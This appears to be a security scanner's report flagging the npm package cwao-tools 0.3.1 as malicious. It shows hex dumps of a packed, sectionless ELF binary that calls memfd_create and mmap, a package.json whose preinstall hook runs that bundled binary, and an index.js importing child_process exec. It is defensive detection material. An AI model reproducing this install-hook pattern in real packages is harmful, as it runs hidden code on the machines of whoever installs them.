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cwao-tools 0.3.1

npm preinstall executes sectionless bundled ELFnpm install hook executes a bundled native binary

SHA-2561a9e5f1dc8df36c9e7abeea228762d8877058b47aefba96dac0717e0ea1c4eac

URLhttps://registry.npmjs.org/cwao-tools/-/cwao-tools-0.3.1.tgz

MaleculeO₂(S₂As)H₅(Cm₂DbF₅Os₂Po₂)Md₅(Bi₃Bk₂HeInPa₈)

Also flagged by osv (MAL-2026-4545: Malicious code in cwao-tools (npm)) +3 more.

Evidence

Sectionless ELF with multiple packing indicators postbuild · 0x0–0x120

0x07f454c46020101000000000000000000.ELF............
0x1003003e0001000000b8862c0000000000..>.......,.....
0x2040000000000000000000000000000000@...............
0x3000000000400038000400400000000000[email protected]...@.....
0x4001000000060000000000000000000000................
0x5000000000000000000000000000000000................
0x600010000000000000eca61d0000000000................
0x7000100000000000000100000005000000................
⋯11 more rows

Calls memfd_create syscall postbuild · 0xed6bc–0xed77c

⋯3 more rows
0xed6ec506875705800545f6a105eb83f010000PhupX.T_j.^.?...
0xed6fc0f0585c0791d85f6740431f6ebed488d....y...t.1...H.
0xed70c3526010000ad92ad56965f6a0258e80a5&......V._j.X..
⋯7 more rows

x86-64 mmap syscall in sectionless code postbuild · 0xed7c8–0xed898

⋯3 more rows
0xed7f85c4d31c94d89e06a01415a6a055a29ff\M1.M..j.AZj.Z).
0xed8086a0958e819000000504889451841505fj.X.....PH.E.AP_
0xed8186a03580f05584883c010ffe0f30f1efaj.X..XH.........
0xed828c3500f0559483d00f0ffff7201f4c3c0.P..YH=....r....
⋯7 more rows

Executes bundled payload from preinstall package.json · lines 1–19

1{
"name": "cwao-tools",
"version": "0.3.1",
"main": "index.js",
"node": "^20",
"bin": {
  "cwao": "index.js"
},
"license": "MIT",
"scripts": {
  "preinstall": "./scripts/postbuild"
},
"dependencies": {
⋯6 lines

require() of the child_process module index.js · lines 1–12

1#!/usr/bin/env node
2const util = require("node:util")
3const exec = util.promisify(require("node:child_process").exec)
4const cmd = process.argv[2]
5const { cpSync, existsSync } = require("fs")
6const { resolve } = require("path")
7const { isNil } = require("ramda")
⋯5 lines

Showing the top 5 files — 6 more files (15 regions) not shown.

No evidence locations were recorded for this file. Raw result